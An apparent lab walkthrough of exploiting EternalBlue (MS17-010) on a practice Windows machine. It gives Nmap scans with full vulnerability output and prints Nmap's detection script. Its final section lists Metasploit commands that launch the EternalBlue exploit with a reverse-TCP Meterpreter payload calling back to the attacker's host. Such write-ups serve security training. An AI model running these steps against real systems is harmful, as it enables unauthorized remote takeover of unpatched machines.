EternalBlue is the name given to an exploit that takes advantage of a critical vulnerability (MS17-010) in the Server Message Block (SMB) protocol of Microsoft Windows systems. This vulnerability allows for remote code execution, meaning an attacker can execute arbitrary code on a vulnerable machine without requiring any user interaction. The exploit was originally developed by the NSA and leaked by the Shadow Brokers group. It was famously used in the WannaCry ransomware attack in 2017, highlighting its severity and widespread impact. Systems running older, unpatched versions of Windows were particularly susceptible.
Machine Walkthrough
MACHINE IP : 10.10.119.162
Reconnaissance
- Target Identification: Confirm the target IP address (10.10.119.162) is reachable and online using ping.
- Port Scanning: Identify open ports on the target using Nmap. Pay close attention to port 445 (SMB), which is crucial for EternalBlue exploitation. Consider using Nmap scripts to detect potential vulnerabilities. Example:
nmap -sV -sC 10.10.119.162More about -sV and -sC>>> - OS Detection: Determine the operating system and version running on the target. This is essential to ensure the exploit is compatible. Nmap’s OS detection (-O) can help:
nmap -O 10.10.119.162 - Vulnerability Check: Verify that the target machine is vulnerable to MS17-010. This could involve using specialized tools or checking the machine’s patch level.
┌──(neo㉿Neo)-[~]
└─$ nmap -sC -sV --script vuln 10.10.119.162
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-05 01:06 +0530
Stats: 0:00:15 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 96.05% done; ETC: 01:06 (0:00:00 remaining)
Stats: 0:01:23 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 44.44% done; ETC: 01:09 (0:01:13 remaining)
Stats: 0:02:20 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.91% done; ETC: 01:08 (0:00:00 remaining)
Nmap scan report for 10.10.119.162
Host is up (0.26s latency).
Not shown: 991 closed tcp ports (reset)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3389/tcp open tcpwrapped
| rdp-vuln-ms12-020:
| VULNERABLE:
| MS12-020 Remote Desktop Protocol Denial Of Service Vulnerability
| State: VULNERABLE
| IDs: CVE:CVE-2012-0152
| Risk factor: Medium CVSSv2: 4.3 (MEDIUM) (AV:N/AC:M/Au:N/C:N/I:N/A:P)
| Remote Desktop Protocol vulnerability that could allow remote attackers to cause a denial of service.
|
| Disclosure date: 2012-03-13
| References:
| http://technet.microsoft.com/en-us/security/bulletin/ms12-020
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0152
|
| MS12-020 Remote Desktop Protocol Remote Code Execution Vulnerability
| State: VULNERABLE
| IDs: CVE:CVE-2012-0002
| Risk factor: High CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
| Remote Desktop Protocol vulnerability that could allow remote attackers to execute arbitrary code on the targeted system.
|
| Disclosure date: 2012-03-13
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0002
|_ http://technet.microsoft.com/en-us/security/bulletin/ms12-020
|_ssl-ccs-injection: No reply from server (TIMEOUT)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49158/tcp open msrpc Microsoft Windows RPC
49160/tcp open msrpc Microsoft Windows RPC
Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_ https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 160.13 secondsif we deep dive into the ms17-010 we can inspect the script code, change directory to /usr/share/nmap/scripts then ls | grep smb. you will see lot of smb related scripts
┌──(neo㉿Neo)-[/usr/share/nmap/scripts]
└─$ ls | grep smb
smb2-capabilities.nse
smb2-security-mode.nse
smb2-time.nse
smb2-vuln-uptime.nse
smb-brute.nse
smb-double-pulsar-backdoor.nse
smb-enum-domains.nse
smb-enum-groups.nse
smb-enum-processes.nse
smb-enum-services.nse
smb-enum-sessions.nse
smb-enum-shares.nse
smb-enum-users.nse
smb-flood.nse
smb-ls.nse
smb-mbenum.nse
smb-os-discovery.nse
smb-print-text.nse
smb-protocols.nse
smb-psexec.nse
smb-security-mode.nse
smb-server-stats.nse
smb-system-info.nse
smb-vuln-conficker.nse
smb-vuln-cve2009-3103.nse
smb-vuln-cve-2017-7494.nse
smb-vuln-ms06-025.nse
smb-vuln-ms07-029.nse
smb-vuln-ms08-067.nse
smb-vuln-ms10-054.nse
smb-vuln-ms10-061.nse
smb-vuln-ms17-010.nse
smb-vuln-regsvc-dos.nse
smb-vuln-webexec.nse
smb-webexec-exploit.nsewe can see the content of smb-vuln-ms17-010.nse
┌──(neo㉿Neo)-[/usr/share/nmap/scripts]
└─$ cat smb-vuln-ms17-010.nse
local nmap = require "nmap"
local smb = require "smb"
local vulns = require "vulns"
local stdnse = require "stdnse"
local string = require "string"
description = [[
Attempts to detect if a Microsoft SMBv1 server is vulnerable to a remote code
execution vulnerability (ms17-010, a.k.a. EternalBlue).
The vulnerability is actively exploited by WannaCry and Petya ransomware and other malware.
The script connects to the $IPC tree, executes a transaction on FID 0 and
checks if the error "STATUS_INSUFF_SERVER_RESOURCES" is returned to
determine if the target is not patched against ms17-010. Additionally it checks
for known error codes returned by patched systems.
Tested on Windows XP, 2003, 7, 8, 8.1, 10, 2008, 2012 and 2016.
References:
* https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
* https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
* https://msdn.microsoft.com/en-us/library/ee441489.aspx
* https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/smb/smb_ms17_010.rb
* https://github.com/cldrn/nmap-nse-scripts/wiki/Notes-about-smb-vuln-ms17-010
]]
---
-- @usage nmap -p445 --script smb-vuln-ms17-010 <target>
-- @usage nmap -p445 --script vuln <target>
--
-- @see smb-double-pulsar-backdoor.nse
--
-- @output
-- Host script results:
-- | smb-vuln-ms17-010:
-- | VULNERABLE:
-- | Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
-- | State: VULNERABLE
-- | IDs: CVE:CVE-2017-0143
-- | Risk factor: HIGH
-- | A critical remote code execution vulnerability exists in Microsoft SMBv1
-- | servers (ms17-010).
-- |
-- | Disclosure date: 2017-03-14
-- | References:
-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
-- | https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
-- |_ https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
--
-- @xmloutput
-- <table key="CVE-2017-0143">
-- <elem key="title">Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)</elem>
-- <elem key="state">VULNERABLE</elem>
-- <table key="ids">
-- <elem>CVE:CVE-2017-0143</elem>
-- </table>
-- <table key="description">
-- <elem>A critical remote code execution vulnerability exists in Microsoft SMBv1
 servers (ms17-010).
</elem>
-- </table>
-- <table key="dates">
-- <table key="disclosure">
-- <elem key="month">03</elem>
-- <elem key="year">2017</elem>
-- <elem key="day">14</elem>
-- </table>
-- </table>
-- <elem key="disclosure">2017-03-14</elem>
-- <table key="refs">
-- <elem>https://technet.microsoft.com/en-us/library/security/ms17-010.aspx</elem>
-- <elem>https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143</elem>
-- <elem>https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/</elem>
-- </table>
-- </table>
--
-- @args smb-vuln-ms17-010.sharename Share name to connect. Default: IPC$
---
author = "Paulino Calderon <paulino()calderonpale.com>"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"vuln", "safe"}
hostrule = function(host)
return smb.get_port(host) ~= nil
end
local function check_ms17010(host, port, sharename)
local status, smbstate = smb.start_ex(host, true, true, "\\\\".. host.ip .. "\\" .. sharename, nil, nil, nil)
if not status then
stdnse.debug1("Could not connect to '%s'", sharename)
return false, string.format("Could not connect to '%s'", sharename)
else
local overrides = {}
local smb_header, smb_params, smb_cmd
stdnse.debug1("Connected to share '%s'", sharename)
overrides['parameters_length'] = 0x10
--SMB_COM_TRANSACTION opcode is 0x25
smb_header = smb.smb_encode_header(smbstate, 0x25, overrides)
smb_params = string.pack(">I2 I2 I2 I2 B B I2 I4 I2 I2 I2 I2 I2 B B I2 I2 I2 I2 I2 I2",
0x0, -- Total Parameter count (2 bytes)
0x0, -- Total Data count (2 bytes)
0xFFFF, -- Max Parameter count (2 bytes)
0xFFFF, -- Max Data count (2 bytes)
0x0, -- Max setup Count (1 byte)
0x0, -- Reserved (1 byte)
0x0, -- Flags (2 bytes)
0x0, -- Timeout (4 bytes)
0x0, -- Reserved (2 bytes)
0x0, -- ParameterCount (2 bytes)
0x4a00, -- ParameterOffset (2 bytes)
0x0, -- DataCount (2 bytes)
0x4a00, -- DataOffset (2 bytes)
0x02, -- SetupCount (1 byte)
0x0, -- Reserved (1 byte)
0x2300, -- PeekNamedPipe opcode
0x0, --
0x0700, -- BCC (Length of "\PIPE\")
0x5c50, -- \P
0x4950, -- IP
0x455c -- E\
)
stdnse.debug2("SMB: Sending SMB_COM_TRANSACTION")
local result, err = smb.smb_send(smbstate, smb_header, smb_params, '', overrides)
if(result == false) then
stdnse.debug1("There was an error in the SMB_COM_TRANSACTION request")
return false, err
end
local result, smb_header, _, _ = smb.smb_read(smbstate)
if not result then
stdnse.debug1("Error reading SMB response: %s", smb_header)
-- error can happen if an (H)IPS resets the connection
return false, smb_header
end
local _ , smb_cmd, err = string.unpack("<c4 B I4", smb_header)
if smb_cmd == 37 then -- SMB command for Trans is 0x25
stdnse.debug1("Valid SMB_COM_TRANSACTION response received")
--STATUS_INSUFF_SERVER_RESOURCES indicate that the machine is not patched
if err == 0xc0000205 then
stdnse.debug1("STATUS_INSUFF_SERVER_RESOURCES response received")
return true
elseif err == 0xc0000022 then
stdnse.debug1("STATUS_ACCESS_DENIED response received. This system is likely patched.")
return false, "This system is patched."
elseif err == 0xc0000008 then
stdnse.debug1("STATUS_INVALID_HANDLE response received. This system is likely patched.")
return false, "This system is patched."
end
stdnse.debug1("Error code received:%s", stdnse.tohex(err))
else
stdnse.debug1("Received invalid command id.")
return false, string.format("Unexpected SMB response:%s", stdnse.tohex(err))
end
end
end
action = function(host,port)
local vuln_status, err
local vuln = {
title = "Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)",
IDS = {CVE = 'CVE-2017-0143'},
risk_factor = "HIGH",
description = [[
A critical remote code execution vulnerability exists in Microsoft SMBv1
servers (ms17-010).
]],
references = {
'https://technet.microsoft.com/en-us/library/security/ms17-010.aspx',
'https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/'
},
dates = {
disclosure = {year = '2017', month = '03', day = '14'},
}
}
local sharename = stdnse.get_script_args(SCRIPT_NAME .. ".sharename") or "IPC$"
local report = vulns.Report:new(SCRIPT_NAME, host, port)
vuln.state = vulns.STATE.NOT_VULN
vuln_status, err = check_ms17010(host, port, sharename)
if vuln_status then
stdnse.debug1("This host is missing the patch for ms17-010!")
vuln.state = vulns.STATE.VULN
else
vuln.state = vulns.STATE.NOT_VULN
vuln.check_results = err
end
return report:make_output(vuln)
endExploitation
-
Launch msfconsole: Start the Metasploit Framework console.
-
Search for the exploit: Use the
searchcommand to locate the EternalBlue exploit module. Example:search ms17_010 -
Select the exploit: Use the
usecommand to select the appropriate module. Example:use exploit/windows/smb/ms17_010_eternalblue(or the index number from search results). -
Set options: Configure the exploit settings using the
setcommand:set RHOSTS <target_ip>(Replace<target_ip>with 10.10.119.162).set RPORT 445(This is usually the default but verify).set PAYLOAD <payload>(Choose a suitable payload;windows/x64/meterpreter/reverse_tcpis a common choice. Verify the architecture (x64) matches the target).set LHOST <your_ip>(Replace<your_ip>with your AttackBox’s IP address).set LPORT <your_port>(Choose a free port on your AttackBox; 4444 is commonly used).
-
Verify options: Use
show optionsto check your settings are correct. -
Exploit the target: Run the exploit using the
runcommand. -
Meterpreter Session: If successful, a Meterpreter session will be established. You’ll have a command prompt within this session.